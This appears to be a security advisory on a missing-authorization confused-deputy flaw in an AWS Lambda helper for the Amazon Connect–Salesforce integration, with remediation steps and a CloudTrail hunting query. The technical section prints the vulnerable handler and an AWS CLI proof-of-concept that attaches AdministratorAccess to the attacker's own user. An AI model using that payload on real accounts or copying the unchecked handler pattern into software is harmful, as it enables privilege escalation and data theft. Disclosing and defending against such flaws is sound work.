Executive Summary: The Confused Deputy in Enterprise CTI Integrations

Amazon Web Services (AWS) has published security bulletin 2026-115-AWS, detailing a high-severity privilege escalation vulnerability cataloged as CVE-2026-94384 in the AmazonConnectSalesforceLambda serverless integration suite. The vulnerability exists within a helper Lambda function—designated as sfExecuteAWSService—that ships with the open-source integration package used by thousands of enterprise contact centers to link Amazon Connect cloud telephony with Salesforce Service Cloud.

Security researchers discovered that the sfExecuteAWSService function suffers from a classic Missing Authorization (CWE-862) vulnerability. The function fails to authenticate or validate whether the calling IAM identity is authorized to execute the specific AWS API operations provided in the event invocation payload. Consequently, any IAM principal within an AWS account—or any federated identity possessing basic lambda:InvokeFunction rights on that specific Lambda—can utilize the function as a privileged proxy.

Because the Lambda execution role for Amazon Connect integrations is typically granted extensive administrative and data access permissions (such as interacting with S3 recording buckets, modifying Amazon Connect routing profiles, managing KMS keys, and invoking STS credentials), an attacker with minimal read-only or low-privileged IAM access can effortlessly escalate privileges, modify security configurations, and exfiltrate enterprise customer records.

Technical Deep-Dive: sfExecuteAWSService Parameter Injection Mechanics

The Amazon Connect CTI Adapter for Salesforce relies on a suite of AWS Lambda functions deployed via AWS Serverless Application Model (SAM) or CloudFormation. During initial setup, the integration requires creating various AWS resources, linking Salesforce credentials, and provisioning data streams. To simplify setup for administrators, AWS included a generic orchestrator function: sfExecuteAWSService.

1. The Flawed Execution Logic

The function was designed to receive an event containing a target AWS service name, an API method, and a JSON dictionary of parameters. Instead of validating incoming requests against an immutable, restrictive allowlist, the function dynamically instantiated the requested AWS SDK service client and executed the method on the caller's behalf using the Lambda execution role's ambient credentials: 

// Vulnerable implementation pattern inside sfExecuteAWSService (Python runtime)
import boto3
import json

def lambda_handler(event, context):
    service_name = event.get('service')
    method_name = event.get('action')
    parameters = event.get('params', {})
    
    # Missing Authorization Check: No validation of caller identity or permitted action!
    # The function trusts any event payload provided by lambda:InvokeFunction
    client = boto3.client(service_name)
    method = getattr(client, method_name)
    
    # Executes the arbitrary method using the Lambda execution role's IAM credentials
    response = method(**parameters)
    return {
        'statusCode': 200,
        'body': json.dumps(response, default=str)
    }

This architecture creates a severe Confused Deputy vulnerability. Any IAM user, developer, continuous integration (CI) service account, or compromised API key that possesses the lambda:InvokeFunction permission on sfExecuteAWSService can invoke arbitrary AWS APIs. Even if the caller's own IAM policy strictly forbids s3:GetObject, iam:CreateAccessKey, or secretsmanager:GetSecretValue, invoking the Lambda forces the serverless execution role to execute those actions on their behalf.

2. The Privilege Escalation Vector

Consider a junior support analyst or automated CI runner with a highly restricted IAM policy: 

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "lambda:InvokeFunction",
      "Resource": "arn:aws:lambda:us-east-1:123456789012:function:sfExecuteAWSService"
    }
  ]
}

To escalate to full account administrative access, the attacker simply invokes the Lambda using the AWS CLI, passing an event payload that instructs the Lambda execution role to attach the AdministratorAccess policy to their own IAM user: 

# Attack payload: Using sfExecuteAWSService as a confused deputy proxy
aws lambda invoke \
  --function-name sfExecuteAWSService \
  --cli-binary-format raw-in-base64-out \
  --payload '{
    "service": "iam",
    "action": "attach_user_policy",
    "params": {
      "UserName": "attacker-user",
      "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
    }
  }' response.json

cat response.json
# Returns 200 OK: User 'attacker-user' is now an AWS Account Administrator!
# Architectural Flow of CVE-2026-94384 Exploitation:
[ Low-Privileged IAM Principal ]
  (Holds ONLY lambda:InvokeFunction permission on sfExecuteAWSService)
        │
        ▼ (Sends JSON payload: service="iam", action="attach_user_policy")
[ Lambda Endpoint: sfExecuteAWSService ]
        │
        ├─► Missing Authorization Check (CWE-862)
        │         └─ Accepts unvalidated service/action from caller
        │
        ├─► [ Lambda IAM Execution Role: AWSConnectSalesforceRole ]
        │         ├─ Holds elevated cloud permissions (IAM, S3, Connect, Secrets)
        │         └─ Assumes ambient credentials via STS
        │
        ▼
[ AWS Control Plane APIs (IAM / S3 / SecretsManager) ]
        ├─ Attaches AdministratorAccess policy to attacker principal
        ├─ Exfiltrates customer call recordings from S3
        └─ Complete Account Takeover achieved

Affected Versions & Scope of Exposure

The vulnerability impacts AmazonConnectSalesforceLambda versions 5.15 through 5.24.16. The integration is widely utilized by organizations running omni-channel contact centers across financial services, e-commerce, telecommunications, and healthcare.

Importantly, AWS highlighted in their security advisory that sfExecuteAWSService is only required during initial configuration to set up Salesforce CTI Adapter connections. Once the integration is established and operational, the function is completely inert for routine call handling, call recording, and CRM contact synchronization. Leaving it deployed in production environments exposes the organization to unnecessary risk without operational benefit.

Defensive Playbook: Detection, Verification & Remediation

Cloud security engineers and AWS administrators should execute a four-stage remediation workflow immediately:

1. Upgrade Application Version

Upgrade the AmazonConnectSalesforceLambda application to version 5.26 or later via the AWS Serverless Application Repository or CloudFormation stack update. The updated version implements strict caller identity checks and restricts callable SDK methods.

2. Delete or Disable the Vulnerable Function

Because sfExecuteAWSService is only utilized during initial setup, AWS strongly recommends deleting or disabling the function immediately in existing deployments: 

# Check if sfExecuteAWSService exists in the target AWS account and region
aws lambda get-function --function-name sfExecuteAWSService --query 'Configuration.FunctionArn'

# Delete the function if setup has already been completed
aws lambda delete-function --function-name sfExecuteAWSService

# Alternatively, set concurrency to 0 to neutralize execution without deleting CloudFormation resources
aws lambda put-function-concurrency --function-name sfExecuteAWSService --reserved-concurrent-executions 0

3. Enforce IAM Invocation Restraints

If the function must be retained for planned maintenance, lock down its resource-based policy so that only the authorized CTI Adapter service role can invoke it, and enforce condition keys: 

# Restrict invocation permissions strictly to the designated CTI adapter user
aws lambda add-permission \
  --function-name sfExecuteAWSService \
  --statement-id RestrictToCTIAdapter \
  --action lambda:InvokeFunction \
  --principal arn:aws:iam::123456789012:user/SalesforceCTIAdapterUser

4. CloudTrail Threat Hunting Query

Security Operations Center (SOC) teams should query AWS CloudTrail to identify whether sfExecuteAWSService was invoked by unauthorized IAM users or roles: 

# CloudWatch Logs Insights query for AWS CloudTrail
fields @timestamp, userIdentity.arn, requestParameters.functionName, responseElements
| filter eventSource = "lambda.amazonaws.com"
| filter eventName = "Invoke" or eventName = "InvokeWithResponseStream"
| filter requestParameters.functionName like /sfExecuteAWSService/
| sort @timestamp desc
| limit 100

Technical Vulnerability Specification

Security Parameter Vulnerability Specification Cloud Risk Assessment
CVE Identifier CVE-2026-94384 Documented in AWS Bulletin 2026-115-AWS
Vulnerability Class CWE-862 (Missing Authorization) / Confused Deputy Arbitrary AWS API execution via Lambda ambient credentials
CVSS v3.1 Score 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Complete lateral movement and IAM privilege escalation
Affected Software AmazonConnectSalesforceLambda v5.15 - v5.24.16 Enterprise cloud contact center deployments
Fixed Software AmazonConnectSalesforceLambda v5.26+ Permanent remediation via AWS Serverless Repo

Actionable Checklist for Cloud Security Teams

  • Scan All Regions: Search for instances of sfExecuteAWSService across all active AWS regions where Amazon Connect is deployed.
  • Remove Ambient Privileges: Review the IAM execution role attached to AmazonConnectSalesforceLambda and remove wildcard permissions (iam:*, s3:*) in accordance with the Principle of Least Privilege.
  • Audit IAM Attachments: Review recent CloudTrail AttachUserPolicy and CreateAccessKey events for anomalous activities originating from Lambda role ARNs.
  • Automate Drift Detection: Integrate AWS Config rules to monitor and alert on any Lambda function that lacks restrictive resource-based policies.